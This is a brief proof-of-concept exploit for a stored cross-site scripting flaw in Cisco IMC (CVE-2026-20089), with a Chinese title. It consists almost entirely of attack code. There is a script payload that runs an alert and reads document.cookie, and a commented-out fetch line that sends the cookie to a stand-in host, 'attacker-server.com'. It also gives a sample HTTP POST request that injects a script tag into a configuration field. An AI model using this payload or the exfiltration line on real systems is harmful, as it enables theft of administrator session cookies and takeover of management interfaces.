CVE-2026-20089 Cisco IMC存储型XSS漏洞

<!-- PoC for Stored XSS in Cisco IMC (CVE-2026-20089) Description: Injecting a script into a vulnerable input field. --> <script> // Malicious payload to be injected // This payload demonstrates the ability to execute JavaScript // In a real attack, this would be obfuscated and send data to an external server alert('CVE-2026-20089 Stored XSS Executed'); console.log('Document Cookie: ' + document.cookie); // Example exfiltration (Simulated) // fetch('http://attacker-server.com/steal?c=' + document.cookie); </script> /* HTTP Request Simulation: POST /some-config-endpoint HTTP/1.1 Host: <target-ip> Content-Type: application/x-www-form-urlencoded Cookie: <admin-session-cookie> vulnerable_field=<script>alert(1)</script>&submit=Save */